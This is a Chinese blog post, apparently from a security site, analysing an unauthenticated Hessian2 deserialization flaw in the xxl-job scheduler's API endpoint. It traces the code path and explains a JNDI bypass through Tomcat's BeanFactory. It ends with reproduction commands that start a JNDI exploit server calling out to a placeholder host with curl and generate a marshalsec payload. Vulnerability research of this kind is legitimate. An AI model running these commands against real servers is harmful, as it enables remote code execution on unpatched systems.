文章详情
xxl-jobapi未授权Hessian2反序列化
xxl-job api未授权Hessian2反序列化
前言
最新版有师傅已经给出POC,配置执行器,新建任务对关联服务器执行shell
命令,但是比较蛋疼的是可能关联服务在内网,无法直接从公网攻击.
链接:https://github.com/jas502n/xxl-job
测试环境
xxl-job 2.0.2
Jdk: 8u191
Linux
JobApiController#api
在version<
2.0.2版本中,JobApiController#api
中调用invokeAdminService
处理请求数据. 且设置了造成@PermessionLimit(limit=false)
访问该接口不需要鉴权
直接单步跟进com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler.invokeAdminService
=>com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler.handle
方法中,调用parseRequest
处理request
对象
继续跟进,调用readBytes
读取请求中的数据,最终是调用Hessian2
反序列化requestBytes
.
JNDI Bypass
参考:https://www.veracode.com/blog/research/exploiting-jndi-injections-java
在测试时候总需要一个比较稳定的POC,高版本JDK对JNDI注入进行限制即限制远程类加载,表现在如RMI/LDAP服务收到请求,HTTP服务无响应.
绕过的思路是:在CLASSPATH中找到工厂类,对引用的Reference属性添加危险方法或属性,该危险方法也需要在CLASSPATH中存在.
原文作者利用Apache Tomcat中的org.apache.naming.factory.BeanFactory
类,结合javax.el.ELProcessor
执行任意代码.赶巧的是xxl-job
基于Spring
框架,底层是利用tomcat
服务器.
复现
现成的JNDI Bypass利用工具已经有师傅写好,可以直接拿来用
https://github.com/welk1n/JNDI-Injection-Exploit
# 启动服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "curl vps:8817"
# 生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor [rmi服务] > ~/Desktop/test13.ser
上一文章:Frida及Brida学习记录
下一文章:谈谈Django的RCE
相关推荐
- 10-20我靠seo赚到的几百万收入
- 11-04摩拜单车和QQ合作 7天免押金 送免费骑行月卡
- 10-21探索Mimikatz-第2部分-SSP
- 10-27某nc反序列化回显绕过
- 05-14爬虫的入门了解(爬虫技术可以做什么)
- 10-21记一次edu站点从敏感信息泄露到getshell
- 05-13前端简历容易犯的7个失误(前端简历怎么写)
- 10-21记一次SpringDevtools反序列化利用
- 05-08Stowaway2.0来了~
- 10-21shiro权限绕过实战利用
- 11-11米酷cms代审记录
- 05-12原生JS实现图片懒加载(懒加载的原理及实现)
- 05-26dotnetserialize101
- 05-21JE8u20反序列化利用链及序列化流构造技术分